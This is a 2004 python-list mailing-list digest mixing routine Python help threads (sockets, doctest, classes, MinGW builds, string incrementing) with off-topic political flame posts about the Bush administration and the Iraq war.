differences between the Windows and Unix implentations of mmap (Windows doesn't really have mmap; instead you use CreateFileMapping and MapViewOfFile). -- "Codito ergo sum" Roel Schroeven From spam at nimblegen.com Wed Sep 8 17:32:34 2004 From: spam at nimblegen.com (Chuck Dillon) Date: Wed, 08 Sep 2004 16:32:34 -0500 Subject: Xah Lee's Unixism In-Reply-To: <413F43AC.9D2088AF@yahoo.com> References: <YLednXSn7obciqrcRVn-og@powergate.ca> <41376B82.C6A202FC@yahoo.com> <P5GdnU8q-8Sw66rcRVn-qg@powergate.ca> <0g0fj0dvbthf0cj224bdt6ikqsv2vs5jlb@4ax.com> <ur7pks59p.fsf@mail.comcast.net> <8K0_c.2928$lv3.518794@news4.srv.hcvlny.cv.net> <3vahj09m887i64osgm65bhhh6l9tl6j38a@4ax.com> <u8ybrrzqd.fsf@mail.comcast.net> <ruehj05n8i2afsgnk9frq9bp98n520jl55@4ax.com> <uzn47qezk.fsf@mail.comcast.net> <rbnhj01438rv46f2op40gsdkcvfh7u6sgo@4ax.com> <4139561C.F52D4E4@yahoo.com> <10srj09tdkvim71i677g7eh7b2nk1qkmfm@4ax.com> <413f03cc$0$6914$61fed72c@news.rcn.com> <413F43AC.9D2088AF@yahoo.com> Message-ID: <chntno$ku1$1@grandcanyon.binc.net> <Sorry for this off-topic post but I couldn't resist.> CBFalconer wrote: > > There is no need, nor cause, to impute Bush & Co. with > intrinsically evil intentions. It is quite enough to point to > their lack of capability, and bull headed 'revenge for daddy' You should consider investing some time in learning some civics. The president has no power to wage war without a *mandate* from congress. It's assinine to suggest that the administration could have tricked or lied it's way into a war in Iraq. People like Sen. Byden (D) who are now considered experts with more than enough experience in overseeing our intelligence organization take the lead on criticizing the administration. But Sen. Byden and the rest were briefed before they voted and they had the experience to make their own judgements. They chose to effectively declare war on Iraq. There's no question the legislative branch declared war and the administrative is prosecuting it. The only question is how the politics plays out. > propensities. The state of the economy, unemployment, poverty > rate, medical care, deficit, Yes there are economic cycles and we've been in a bit of a trough for the past few years. There's nothing the government, nor any administration, can do to significantly effect economic cycles. If it can then the Clinton administration must have intentionally induced a downturn for political purposes. > death rate in Iraq (both of Americans > and Iraqis), But noticebly not in Chicago, L.A or anywhere else in "the great evil". > abandonment of the Bin Laden hunt, Capturing of OBL would be counterproductive. The problem won't go away if he's caught but many people will assume it did. > abridgement of > civil liberties (as in the Patriot Act and the Gitmo gulag), Back to civics 101, laws are created by the legislature. They also have the power to revoke them if a problem is demonstrated. How many U.S. citizens have been victimized? How many dead U.S. citizens does it take to justify that victimization? Both numbers are quire small. > poor > choice of companions (Halliburton and other political donors and That's just stupid. I'm sure the families of those Halliburton employees who have died in Iraq and Afganistan would take issue with you on this. Are you also leary of Clinton because his administration contracted the same Halliburton subsidiaries in the Balkan conflict? > trough feeders, and the 'plausible deniability' of the Swiftboat > gang), It would be astounding if there was no Veteran backlash in response to Kerry's activities and statements after he came back from Vietnam. You bring up Halliburton as if it were somehow on topic and then in the next phrase suggest that legitimate angst against Kerry's anti-war activies (with Kerry building his campaign on his Vietnam service) is somehow invalid. Strange thought process. > irritation of allies, It seems to me that from a geo-political perspective it would be a bad thing if 100% of non-Muslim/non-Arab/non-Middleeastern states followed the lead of the U.S. in a seemingly rash response to 9/11. It seems like it would be much better if there was an overwhelming (as there was) response balanced by some strong dissention so that it didn't look like a world war. > inability to deal with North Korea > (due to involvement with useless adventures), Patience grasshopper. Just because CNN isn't "breaking news" on a daily basis doesn't mean nothing's being done. North Korea is extremely fragile economically. They're not in the position to demand they're just trying to barter. > abandonment of > efforts towards a Palestinian peace, all spring to immediate mind. You might not have noticed but on 9/11 the stakes were raised by about an order of magnitude. They went up significantly again this weekend in Beslan. As long as there are terrorist activities in "Palestine" don't expect to see anyone giving ground. > > Yes, we have had no experience with a Kerry administration, but we > have had far too much experience with a Bush administration. > We know... - Kerry voted to effectively declare war on Iraq and still stands by that vote, most of the time. He only quibbles about the details. - Kerry has no more power to affect the economy than W. - Kerry's administration would continue to contract with Haliburton subsidiaries. There's no reason not to, there's no other company who can do the jobs they contract to do. -- ced -- Chuck Dillon Senior Software Engineer NimbleGen Systems Inc. From jfabiani at yolo.com Wed Sep 8 14:19:26 2004 From: jfabiani at yolo.com (John Fabiani) Date: Wed, 08 Sep 2004 18:19:26 GMT Subject: Machine identification References: <01f101c495cd$a786cc40$054b12ac@D18SYX41> <mailman.3050.1094666837.5135.python-list@python.org> Message-ID: <O2I%c.17391$4D1.12711@newssvr27.news.prodigy.com> Skip Montanaro wrote: > > Greg> How can I get the name (or ip) of the machine where my python > Greg> script is running? I'd like to add it to my log entry. > > % python2.3 > Python 2.3.4 (#1, Jul 19 2004, 16:02:09) > [GCC 3.0.1] on linux2 > Type "help", "copyright", "credits" or "license" for more information. >>>> import socket >>>> socket.gethostname() > 'manatee.mojam.com' >>>> socket.gethostbyname(socket.gethostname()) > '199.249.165.175' > > Skip The above does not work for me. socket.gethostbyname(socket.gethostname()) > '127.0.0.2' the ip address is 192.168.1.211 for the computer. And 127.0.0.2 is not localhost. John From peter at engcorp.com Fri Sep 17 08:36:48 2004 From: peter at engcorp.com (phansen) Date: Fri, 17 Sep 2004 08:36:48 -0400 Subject: classes and standard modules In-Reply-To: <cidfnt$nsj$1@solaris.cc.vt.edu> References: <cidfnt$nsj$1@solaris.cc.vt.edu> Message-ID: <B7adnbsrwsX8R9fcRVn-vg@powergate.ca> Brad Tilley wrote: > I don't understand classes very well... maybe some day. Is it just me or > are they supposed to be difficult to understand? They make my head hurt. They're not really that hard. Classes are nothing more than _templates_ for blobs of data with associated functions. When you instantiate a class (i.e. create an instance) you just get one of those blobs of data, matching the pattern defined by the template. You can call those associated functions and they already know how to work on the data in the blob. If you have a C background, think of classes as being structs with a bunch of functions that are designed to work with those structs. > Anyway, because I don't understand classes well, I avoid using them. > However, many modules in the standard library are implemented as > classes: sgmllib, HTMLParser, etc. Is it possible to use these modules > without getting into OO programming and inheritance and all the other > lofty, theoretical CS concepts that small script writers, like me, don't > really need? Well, for any of those, you just create one of the blobs of data, say like "server = smtplib.SMTP('myhost')", and now you have a blob with the name "server". You want to call one of those functions? Instead of passing the data in the argument list as you do with regular functions, you use the syntactic sugar form that looks like this: "server.sendmail(...)". This description needs you to know about blobs of data and functions, neither of which are very lofty or theoretical, I think. :) -Peter From tim.peters at gmail.com Mon Sep 6 11:24:47 2004 From: tim.peters at gmail.com (Tim Peters) Date: Mon, 6 Sep 2004 11:24:47 -0400 Subject: doctest.Tester is deprecated In-Reply-To: <4edc17eb.0409052338.69012ee7@posting.google.com> References: <4edc17eb.0409052338.69012ee7@posting.google.com> Message-ID: <1f7befae04090608243fb8de70@mail.gmail.com> [Michele Simionato] > Some time ago I hacked a custom solution to run doctests > on text files containing documentation. The solution > involved this kind of game: > > tester=doctest.Tester(globs={},verbose=1) > tester.runstring(mytest) > > It worked fine, but now with Python 2.4.a3 I get > > DeprecationWarning: class Tester is deprecated; use class > doctest.DocTestRunner instead > > The problem is that DocTestRunner is not a replacement for Tester, it > has no runstring method! > > So, how what am I supposed to do? In the worst case, I suppose you could copy the Tester implementation from 2.4 and maintain it yourself, In the meantime, Tester is still there. But I'd encourage you to think about better approaches. Most people are using unittest to *drive* their test strategies, because it's simply a much better (than doctest) framework for stitching together many tests of various kinds from various places. So the total refactoring of doctest for 2.4 gave up on doctest's feeble "stitch tests together" gimmicks, and focused instead on better support for playing with unittest. The latter is what the people who *contribute* to doctest use, so that's what gets loving attention. You didn't say enough to guess whether this is appropriate, but the new-in-2.4 doctest.DocFileSuite() creates a unittest suite directly from one or more paths to text files containing doctests. For example, --- a.txt --------------------------------------------------- This is a text file containing doctests. >>> print 3*14 42 --- b.txt --------------------------------------------------- And so is this. >>> print 42 24 --- temp.py -------------------------------------------------- import doctest, unittest suite = doctest.DocFileSuite('a.txt', 'b.txt') unittest.TextTestRunner().run(suite) That built a simple unittest driver from scratch. It does the usual unittest business of printing a dot for each test it runs (etc), and displays the failure, identifying file path and line number in a useful way (e.g., Emacs can parse the "File" line, and jump directly to the failing example): File "b.txt", line 3, in b.txt Failed example: print 42 Expected: 24 Got: 42 Of course you get to exploit all the rest of unittest's features this way too. If you want to roll your own and avoid unittest, you can stitch it together out of the new DocTestRunner and DocTestParser classes. That's what Tester.runstring() does in 2.4. Note that doctest no longer makes any use of Tester -- it's there solely for backward compatibility. Unfortunately, a lot of new stuff isn't yet covered in the LaTeX docs. From Barkmann at gmail.com Tue Sep 21 02:21:03 2004 From: Barkmann at gmail.com (Chris Barker) Date: 20 Sep 2004 23:21:03 -0700 Subject: Comparioson of purpose for PyGUI and AnyGUI ??? References: <a5415304.0409160644.41adea51@posting.google.com> <cicqq7$kra$2@news-reader4.wanadoo.fr> <cicsha$prl@odbk17.prod.google.com> <cid5as$u3j$1@news-reader2.wanadoo.fr> <cc887c1d.0409162041.1433bac1@posting.google.com> <pan.2004.09.18.07.53.35.276252@virgilio.it> <1gkb1xb.13ayfy1rayeymN%aleaxit@yahoo.com> <slrnckoabl.mb3.mlh@furu.idi.ntnu.no> <864d37090409180613135d02de@mail.gmail.com> <20040920231839.GA17517@grulic.org.ar> <mailman.3618.1095731982.5135.python-list@python.org> Message-ID: <cc887c1d.0409202221.214a46b5@posting.google.com> Carlos Ribeiro <carribeiro at gmail.com> wrote in message > in this scenario the hassle of running > Apache+Zope/Webware is just not worth it. For what it's worth, there is a built-in server for Webware as well: http://www.webwareforpython.org/Webware/WebKit/Docs/InstallGuide.html#built-in-web-server There's also talk of a Twisted-Webware server, but I'm not sure if/when that will materialize. -Chris From curzio.basso at unibas.ch Tue Sep 28 07:41:19 2004 From: curzio.basso at unibas.ch (Curzio Basso) Date: Tue, 28 Sep 2004 13:41:19 +0200 Subject: breaking up a list In-Reply-To: <cjbggn$alv$1@ucsnew1.ncl.ac.uk> References: <cjbggn$alv$1@ucsnew1.ncl.ac.uk> Message-ID: <41594ddf$1@maser.urz.unibas.ch> C Gillespie wrote: > Dear All, > > If I have a list, say > > x=[1,2,3,4,5,6] > > What's the best way of converting it into this: [[1, 2], [3, 4], [5, 6]], > i.e. splitting it into pairs. don't know if it's the best way but you can try this: pairs = [x[2*i:2*i+2] for i in xrange(len(x)/2)] From __peter__ at web.de Wed Sep 15 05:38:01 2004 From: __peter__ at web.de (Peter Otten) Date: Wed, 15 Sep 2004 11:38:01 +0200 Subject: Align numbers at decimal point References: <2qqe5vF11pk6jU1@uni-berlin.de> Message-ID: <ci92hp$97u$07$1@news.t-online.com> Enno Middelberg wrote: > I want to print out columns of numbers which are aligned at the decimal > point, eg: > > 123.45 > 3.0 > 65.765486 One way to do it: >>> def adjust(f, width, dec): ... pos = f.find(".") ... if pos == -1: ... pos = len(f) ... dec += 1 ... return "%*s%-*s" % (width-dec, f[:pos], dec, f[pos:]) ... >>> print "\n".join([repr(adjust("%s" % f, 10, 5)) for f in [1, 2.3456, 42.42]]) ' 1 ' ' 2.3456 ' ' 42.42 ' Peter From abra9823 at mail.usyd.edu.au Sat Sep 4 23:06:49 2004 From: abra9823 at mail.usyd.edu.au (Ajay) Date: Sun, 5 Sep 2004 13:06:49 +1000 Subject: python from Java Message-ID: <1094353609.413a82c919909@www-mail.usyd.edu.au> hi! can you call a Python application from a Java program? does this require any additional package to be installed? thanks cheers ---------------------------------------------------------------- This message was sent using IMP, the Internet Messaging Program. From firstname at lastname.pr1v.n0 Thu Sep 9 18:13:56 2004 From: firstname at lastname.pr1v.n0 (Morten Reistad) Date: Fri, 10 Sep 2004 00:13:56 +0200 Subject: Xah Lee's Unixism References: <3vahj09m887i64osgm65bhhh6l9tl6j38a@4ax.com> <4140688e$0$6912$61fed72c@news.rcn.com> <flrphc.tlk1.ln@via.reistad.priv.no> <4140A885.90B945AC@yahoo.com> Message-ID: <4jkqhc.p7p1.ln@via.reistad.priv.no> In article <4140A885.90B945AC at yahoo.com>, CBFalconer <cbfalconer at worldnet.att.net> wrote: >Morten Reistad wrote: >> >... snip ... >> >> A lack of focus on world politics has been a characteristica of >> the US presidents since Eisenhower. Bush is not special, he just >> got the mess in his lap and had to deal with it; just as Nixon >> inherited the Vietnam war. > >That is understandable considering the relative sizes of the US >GDP and the rest of the world (until recently), the isolationist >ethic between the wars, and such things as the world attitude that >Spain was much more then the US could bite off in 1898. Wilson, >Roosevelt (both), Truman, Kennedy, Carter, Clinton, Nixon are >among the counter-examples. Even Reagan, while a sad example of >domestic policy, did fairly well in the foreign affairs >department. Elephants do not need to pay too much attention to >the surrounding fauna. I do not agree. Kennedy and Clinton had a lousy foreign-policy record. The Bay of Pigs, Vietnam, the Cuba crisis were all examples of glorious miscalculations. Ditto Rwanda, Somalia, and the Carter was not so bad; but remained unfocused; using all energy withing the US. I still don't get why they didn't see the Iranian blow-up. Everyone else did. Nixon is a special case; the way he inherited the Vietnam war, the Cold war and the way he messed up domestic policy. I think he did all right, but no better, on a foreign policy front. >However Bush is demonstrably poor. He ignored the warnings from >the CIA, FBI, outgoing Clinton administration about imminent >attacks. He was focused on attacking Saddam and Iraq from the >first, and perverted 9/11 into that at the earliest opportunity. >He has offended many more than most of his predecessors. I will >say that he seems to have learned the names of some foreign >leaders since being elected. Bush has had an agenda all right; but I don't quite get what it is. If it is oil, then he is mishandling it big time; Iraqi oil is NOT flowing. Iraq is a huge mess. Why was that guy Bremer chosen; his qualifications does not make sense. You either have to make converts or do a Pinochet. (hit so hard everyone is afraid they will NOT die.) -- mrr From martindemello at yahoo.com Thu Sep 2 05:42:26 2004 From: martindemello at yahoo.com (Martin DeMello) Date: Thu, 02 Sep 2004 09:42:26 GMT Subject: need an idea, recognize sequence, fsm or genetic ? References: <63b5e209.0409012321.5850291f@posting.google.com> Message-ID: <6WBZc.302600$gE.226881@pd7tw3no> Joh <joh12005 at yahoo.fr> wrote: > > also i think this is related to some kind of finite state automata, > but i do not know how to build automatically massive parallel FSM (i > can have many many sequences and huge amount of sentences) here's a naive but clean way to do it Write a finite state machine class that scans the sentence for a single sequence. Then instantiate one of them per sequence, and run the following loop (pseudocode) for word, index in enumerate sentence for fsm in sequences fsm.advance(word) if fsm.state == END results[fsm] += (index - fsm.sequence_length, index) fsm.state == START A possible optimisation is to combine all your sequences into a single trie; however, this will also require backtracking so I'm not sure how much faster it'd be in practice. martin From ville at spammers.com Mon Sep 13 02:39:00 2004 From: ville at spammers.com (Ville Vainio) Date: 13 Sep 2004 09:39:00 +0300 Subject: Xah Lee's Unixism References: <413f03cc$0$6914$61fed72c@news.rcn.com> <413F43AC.9D2088AF@yahoo.com> <chntno$ku1$1@grandcanyon.binc.net> <10juvnrt88k4868@corp.supernews.com> <414069c6$0$6912$61fed72c@news.rcn.com> <opsd2vlvy7pqzri1@mjolner.upc.no> <1549.748T655T9283520@kltpzyxm.invalid> <3fh3k0tnumgcvdd89h8jbbnc2j92t97i76@4ax.com> <4141c830$0$65574$a1866201@newsreader.visi.com> Message-ID: <du73c1mk70b.fsf@mozart.cc.tut.fi> >>>>> "Grant" == Grant Edwards <grante at visi.com> writes: Grant> shit about international agreements? Bush thinks he's Grant> entitled to declare anybody and everybody an "enemy Grant> combatant" and lock them up in secret forever. Add a Grant> moustache and he'd make a pretty good Stalin. I'll raise you a Hitler, in a (probably vain) attempt to invoke the Godwin's law. -- Ville Vainio http://tinyurl.com/2prnb From velman at cox.net Wed Sep 15 18:08:20 2004 From: velman at cox.net (John Velman) Date: Wed, 15 Sep 2004 15:08:20 -0700 Subject: Incrementing a string Message-ID: <pan.2004.09.15.22.08.19.894702@cox.net> I've used perl for a lot of 'throw away' scripts; I like Python better in principle, from reading about it, but it was always easier to just use perl rather than learn python. Now I'm writing a smallish program that I expect to keep around, so am taking this opportunity to try to learn some Python. I have a need for computer generated set of simple string lables. I don't know how many in advance---each is produced as a result of a user action. In perl I simply initiated $label= "a"; Then, after using it doing $label++; This conveniently steps through the alphabet, then goes on to aa, ab,ac, ... In Python I can get from a to z with a generator as so: >>> def gen_alph(): ... for i in range(97,123): ... yield chr(i) ... >>> g = gen_alph() >>> g.next() 'a' >>> g.next() 'b' >>> g.next() 'c' But it looks like going beyond z to aa and so on is (relatively) complicated. In truth, it seems unlikely that I would ever go beyond z in using my application, and certainly not beyond zz which wouldn't be too hard to program. But I hate to build in limitations no matter how reasonable. It seems like there should be a better way that I'm missing because I'm thinking in perl, not thinking in Python. :-) Best, John Velman From chrisks at NOSPAM.udel.edu Sat Sep 18 20:07:25 2004 From: chrisks at NOSPAM.udel.edu (Chris S.) Date: Sun, 19 Sep 2004 00:07:25 GMT Subject: Newbie : Round shaped button for wxPython In-Reply-To: <cig0t8$chh$1@news.Stanford.EDU> References: <cig0t8$chh$1@news.Stanford.EDU> Message-ID: <1543d.1728$4j1.396@trndny06> Oh Kyu Yoon wrote: > How do you make a round shaped button in wxPython? > Thanks. I believe all of wx's default buttons are rectangular, but you could emulate a circular button by using a bitmap of a round shape with a transparent background. Read about bitmapbutton in the the wx docs. From carribeiro at gmail.com Sun Sep 19 07:34:15 2004 From: carribeiro at gmail.com (Carlos Ribeiro) Date: Sun, 19 Sep 2004 08:34:15 -0300 Subject: So I guess PyUI is long abandonded? What else is there? In-Reply-To: <20040918220714.GA12502@furrr.two14.net> References: <cihu17$c4b$1@wheel2.two14.net> <864d3709040918140135a95917@mail.gmail.com> <20040918220714.GA12502@furrr.two14.net> Message-ID: <864d370904091904347eecec2e@mail.gmail.com> Martin, As the other poster mentioned, the SDL-based renderer for PyUI may help you. Please let us know if you made it work. I share your pain -- I'm fighting a long battle to find a simple, intuitive, productive and cross-platform GUI framework for my own apps. In the end, I'll probably do with many others had done before me -- end up writing my own framework as a shim layer over someone's else work. I don't know the reason - if that's just because we can't agree on a framework, or if it's because there are so many different ways (and platforms) to make it work that some type of agreement, or standardization, is just impossible at this point. But I hope the situtation will improve. On Sat, 18 Sep 2004 17:07:14 -0500, Martin Maney <maney at two14.net> wrote: > On Sat, Sep 18, 2004 at 06:01:13PM -0300, Carlos Ribeiro wrote: > > I've checked PyUI right now, and it seems that there is a release > > numbered "1.0" - which is a sign that it must have reached a somewhat > > stable stage. The win32 ZIP file that I've downloaded does not > > contain any windows specific dll, pyd or exe file, but only pure > > Python code. > > Yes, as an already-installed tree with the files compiled - well, that > explains the 1.0.Py2-2 versioning in the name. > > Anyway, I've found the problem buried in a feature request at the > project's sourceforge site. In his own words: > > The OpenGL renderer on 0.95 depends on WGL which is available only on > Windows implementations. Support for other platforms such as Mac and > Linux would be nice. > > Since the project description claims it, yeah, that sure would be nice. > This perfectly explains the errors I've been seeing. Thanks, Carlos, > you stirred me to dig deeper and put the nail in it - it's another case > of "Microsoft compatibility" leading another poor fool astray. > > This truly does help. Now I can stop wondering whether it was > something I was doing wrong and walk away from this waste of time. > Would some god-like person with access please make a note of this on > the uneditable PyUi page on the wiki? Then there'd be at least a > chance others could avoid wasting their time. > > Thanks! > > -- > Microsoft, which used to say all the time that the software business > was ruthlessly competitive, is now matched against a competitor whose > model of production and distribution is so much better that Microsoft > stands no chance of prevailing in the long run. They're simply trying > to scare people out of dealing with a competitor they can't buy, > can't intimidate and can't stop. -- Eben Moglen > > -- Carlos Ribeiro Consultoria em Projetos blog: http://rascunhosrotos.blogspot.com blog: http://pythonnotes.blogspot.com mail: carribeiro at gmail.com mail: carribeiro at yahoo.com From bokr at oz.net Tue Sep 21 16:18:06 2004 From: bokr at oz.net (Bengt Richter) Date: 21 Sep 2004 20:18:06 GMT Subject: Floating-point glitches with the math module. Bug? Or am I missing something? References: <pan.2004.09.20.22.13.05.488469@speakeasy.snip-me.net> Message-ID: <ciq29u$qaq$0$216.39.172.122@theriver.com> On Mon, 20 Sep 2004 18:13:06 -0400, Chris Metzler <cmetzler at speakeasy.snip-me.net> wrote: > >I'm getting some extremely odd results using the trig functions >in the math module. I don't know whether there's a bug here, or >(more likely) I'm just missing something. They kinda look like >problems I'd see with truncation/roundoff errors, but they're >occurring for larger values of the floating point exponent than >I'd expect this to happen. > >The script below illustrates the kind of thing I'm seeing. Do >other people see the same thing? Am I missing something here? > >Thanks, > >-c > > > >import math > >x = 0.90455926850657064620 >y = 0.90463240818925083619 >z = -2.00200807043415807129e-08 > > >cos_gamma1 = math.cos(x - y) - math.sin(x)*math.sin(y)*(1.0 - math.cos(z)) >gamma1 = math.acos(cos_gamma1) > As Tim has pointed out, you are doing an inverse in a very sensitive part of the inverse function. Not only that, if you want the gamma angle, acos is ambiguous re sign, since cos(x)=cos(-x). So IWT your best option would be to reformulate. Probably in terms of cartesian components, which you resolve in such a way that you can get the angles you want using atan2 as the inverse function. What do x, y, and z represent in your real problem? Regards, Bengt Richter From abkhd at earth.co.jp Sat Sep 11 19:21:41 2004 From: abkhd at earth.co.jp (A. B., Khalid) Date: 11 Sep 2004 16:21:41 -0700 Subject: Compiling Python24a3 in MinGW & tests Message-ID: <8ad8ad0a.0409111521.5867fe0c@posting.google.com> Hello all. After the effort of getting most of Python 2.3.4 Final compiled in MinGW (see: http://mail.python.org/pipermail/python-list/2004-June/225967.html, and get the patch and read more about it here: http://jove.prohosting.com/iwave/ipython/pyMinGW.html), allow me to report that it is now also possible to compile and build most of python24a3 in MinGW as well. Few issues remain. For a detailed list of those visit (http://jove.prohosting.com/iwave/ipython/issues.html). For now I just want to mention that almost all tests of modules or code (as of CVS Python source of Sept, 9th, 2004) that was compiled in MinGW pass or skip quietly if invoked on their own. However, and hoping that someone would know why, several module tests fail (and crash the MinGW compiled python24a3: Windows bluescreen shows) when run from the regrtest framework. These include: - test_codeccallbacks, - test_codecs, - test_normalization, - test_pyexpat, - test_re, - test_minidom, - test_stringprep, - test_ucn, - test_unicode - test_unicode_file, and - test_unicodedata Some modules are also causing MinGW python24a3 to show the dreaded Windows' bluescreen. These include: - zlib - _testcapi - pyexpat, but only when used by test_sax inside the regrtest. +---------------------------------------------------------------+ My system: +---------------------------------------------------------------+ + Win98 + GCC 3.4.1 mingw special + DEV-C++ v. 4.9.8.5 + MYSYS v. 1.0.9 With that in mind, I am unable to test module _socket, as Windows 98 does not support some of the new API calls of the latest python: getaddrinfo, and friends. However, I have a feeling that the patched module will work if compiled in MinGW under anything higher than WinMe. +---------------------------------------------------------------+ For file sizes, here is the list: +---------------------------------------------------------------+ PYTHON EXE 6.656 09/09/04 3:53 python.exe PYTHONW EXE 6.656 09/09/04 3:53 pythonw.exe W9XPOPEN EXE 6.144 09/09/04 3:51 w9xpopen.exe PYTHON24 DLL 2.046.464 09/09/04 3:49 python24.dll +---------------------------------------------------------------+ Running python24a3 from MSYS: +---------------------------------------------------------------+ $ python -i Python 2.4a3 (#56, Sep 9 2004, 03:39:46) [GCC 3.4.1 (mingw special)] on win32 Type "help", "copyright", "credits" or "license" for more information. >>> from test import test_unicode_file as t >>> t.test_main() test_directories (test.test_unicode_file.TestUnicodeFiles) ... ok test_equivalent_files (test.test_unicode_file.TestUnicodeFiles) ... ok test_single_files (test.test_unicode_file.TestUnicodeFiles) ... ok ---------------------------------------------------------------------- Ran 3 tests in 0.870s OK >>> +---------------------------------------------------------------+ Summary of regrtest.main() output after renaming the tests listed above and renaming _socket.pyd, pyexpat.pyd, zlib.pyd, and _testcapi so as python cannot find them: +---------------------------------------------------------------+ 200 tests OK. 5 tests failed: test___all__ test_cookielib test_mailbox test_mimetools test_pyclbr 72 tests skipped: test__locale test_aepack test_al test_applesingle test_asynchat test_bsddb test_bsddb185 test_bsddb3 test_capi test_cd test_cgi test_cl test_codecmaps_cn test_codecmaps_hk test_codecmaps_jp test_codecmaps_kr test_codecmaps_tw test_commands test_crypt test_curses test_dbm test_dl test_email test_email_codecs test_exceptions test_fcntl test_fork1 test_gdbm test_getargs2 test_gl test_grp test_gzip test_httplib test_imaplib test_imgfile test_ioctl test_largefile test_linuxaudiodev test_logging test_macfs test_macostools test_mhlib test_mimetypes test_nis test_openpty test_ossaudiodev test_pep277 test_plistlib test_poll test_posix test_pty test_pwd test_resource test_robotparser test_sax test_scriptpackages test_signal test_socket test_socket_ssl test_socketserver test_sunaudiodev test_sundry test_tcl test_threadsignals test_timeout test_timing test_urllib test_urllib2 test_urllib2net test_urllibnet test_zipimport test_zlib Traceback (most recent call last): File "<stdin>", line 1, in ? File "F:\PROGRAMS\MISC\BIN\PY24\PYTHON\DIST\SRC\lib\test\regrtest.py", line 363, in main e = _ExpectedSkips() File "F:\PROGRAMS\MISC\BIN\PY24\PYTHON\DIST\SRC\lib\test\regrtest.py", line 1064, in __init__ from test import test_normalization ImportError: cannot import name test_normalization >>> raise SystemExit And BTW, distutils was also patched to default to using the MinGW compiler for building extensions when it detects that the python it is running on was compiled in MinGW. It basically looks for the sys.version info, and if it finds the string "mingw" it configures the MinGW compiler for use. Finally, this is provided in the hope that some people will benefit from it, and that some will actually help improve the pyMinGW patch so as using the MinGW compiler would get to be as easy as using any other. Any thoughts are welcome. Regards Khalid -- Q. The purpose of life? [A]: "I created the jinn and humankind only that they might worship Me." (Translation, Qur'an, 51:56) [B]: "Let us hear the conclusion of the whole matter: Fear God, and keep his commandments: for this is the whole duty of man." (KJV, Ecclesiastes 12:13) From paul.baines at ecb.int Fri Sep 17 05:28:22 2004 From: paul.baines at ecb.int (paul.baines at ecb.int) Date: Fri, 17 Sep 2004 11:28:22 +0200 Subject: Installation problem in AIX Message-ID: <71CEC1FA9395784A826B525D0E1AB215039015@cimexc21.ecb01.ecb.de> Hello, I'm trying to install Python 2.3.4 in AIX 5.2 with gcc 2.9. After a lot of messing around I got the configure script to run using the following command (libm parameter found from python-list archives): configure --with-gcc --with-cxx=g++ --with-libm="" --disable-ipv6 Now I have a problem running make: ./Modules/makexp_aix Modules/python.exp . libpython2.3.a; gcc -Wl,-bE:Modules/python.exp -lld -o python Modules/ccpython.o libpython2.3.a collect2: /lib/libld.a: not a COFF file make: 1254-004 The error code from the last command is 1. I had the same "not a COFF file" error during configure with libm.a until I added the --with-libm="" parameter. Can anyone help? Paul. Any e-mail message from the European Central Bank (ECB) is sent in good faith but shall neither be binding nor construed as constituting a commitment by the ECB except where provided for in a written agreement. This e-mail is intended only for the use of the recipient(s) named above. Any unauthorised disclosure, use or dissemination, either in whole or in part, is prohibited. If you have received this e-mail in error, please notify the sender immediately via e-mail and delete this e-mail from your system. From miki.tebeka at zoran.com Sun Sep 5 12:21:48 2004 From: miki.tebeka at zoran.com (Miki Tebeka) Date: Sun, 5 Sep 2004 18:21:48 +0200 Subject: Trouble accessing global vars In-Reply-To: <sonjj0d6b7fsafjnphqcdqrm0ia59qt8ti@4ax.com> References: <sonjj0d6b7fsafjnphqcdqrm0ia59qt8ti@4ax.com> Message-ID: <20040905162148.GE2220@zoran.com> Hello Fernando, > counter = 0 > > class Blah(object): > def run(self): > counter += 1 > > b = Blah() > b.run() > > Traceback (most recent call last): > File "<pyshell#53>", line 1, in -toplevel- > b.run() > File "<pyshell#51>", line 3, in run > counter += 1 > UnboundLocalError: local variable 'counter' referenced before assignment You need to declare it global using the "global" keyword. counter = 0 class Blah(object): def run(self): counter += 1 b = Blah() b.run() Bye. -- ------------------------------------------------------------------------ Miki Tebeka <miki.tebeka at zoran.com> http://tebeka.spymac.net The only difference between children and adults is the price of the toys From http Thu Sep 16 15:59:46 2004 From: http (Paul Rubin) Date: 16 Sep 2004 12:59:46 -0700 Subject: MD5 and SHA cracked/broken... References: <slrnck6boc.l77.mlh@furu.idi.ntnu.no> <slrncka03t.2a1q.kirk@eyegor.jobsluder.net> <7xacvuyjfn.fsf@ruckus.brouhaha.com> <ud60mb64c.fsf@fitlinxx.com> Message-ID: <7xoek6rnm5.fsf@ruckus.brouhaha.com> David Bolen <db3l at fitlinxx.com> writes: > But why bother? Clearly in this case I'm in control of the md5sum's > publication (since I'm formulating both files to match), so why > wouldn't I just publish the trojan one in the first place with an MD5 > that matches the trojan? Any user of my package is already trusting > that any MD5 I publish is in fact for a proper file, so they are in > effect already trusting me. No. They may not trust you, but they might instead trust another user who studied the file very carefully, and then announced that the file with md5 checksum so-and-so was ok. At that point you can slip in a different file with the same checksum, that didn't get examined so carefully. From gwschenk at fuzz.socal.rr.com Fri Sep 3 18:58:35 2004 From: gwschenk at fuzz.socal.rr.com (Gary Schenk) Date: Fri, 03 Sep 2004 22:58:35 GMT Subject: Xah Lee's Unixism References: <10jc7cu7e57koaa@corp.supernews.com> <YLednXSn7obciqrcRVn-og@powergate.ca> <41376B82.C6A202FC@yahoo.com> <P5GdnU8q-8Sw66rcRVn-qg@powergate.ca> <0g0fj0dvbthf0cj224bdt6ikqsv2vs5jlb@4ax.com> <ur7pks59p.fsf@mail.comcast.net> <8K0_c.2928$lv3.518794@news4.srv.hcvlny.cv.net> <3vahj09m887i64osgm65bhhh6l9tl6j38a@4ax.com> <u8ybrrzqd.fsf@mail.comcast.net> <ruehj05n8i2afsgnk9frq9bp98n520jl55@4ax.com> <uzn47qezk.fsf@mail.comcast.net> <rbnhj01438rv46f2op40gsdkcvfh7u6sgo@4ax.com> Message-ID: <vG6_c.16947$aB1.13654@twister.socal.rr.com> In comp.lang.perl.misc Alan Balmer <albalmer at att.net> wrote: <snip> > > I'm not a fan of Mr Hatch, but blaming him for the shuttle disaster(s) > is somewhat over the top. Why not blame President Bush? That's the > popular thing nowadays. > IIRC, the vice-president is in charge of the space program, so shouldn't President Bush accept some blame? -- Gary Schenk remove "fuzz" to reply From askari at addressNonValide.com Sat Sep 18 09:48:41 2004 From: askari at addressNonValide.com (Askari) Date: Sat, 18 Sep 2004 13:48:41 GMT Subject: sys.setdefaultencoding(name) Message-ID: <Xns9568641F5C869askariaddressNonVali@207.35.177.135> Where is the method : "sys.setdefaultencoding(name)"? Problem : I want change the default encoding because I want put french letter : ????...etc in widget with no problem! When I use the method ".get" from a widget 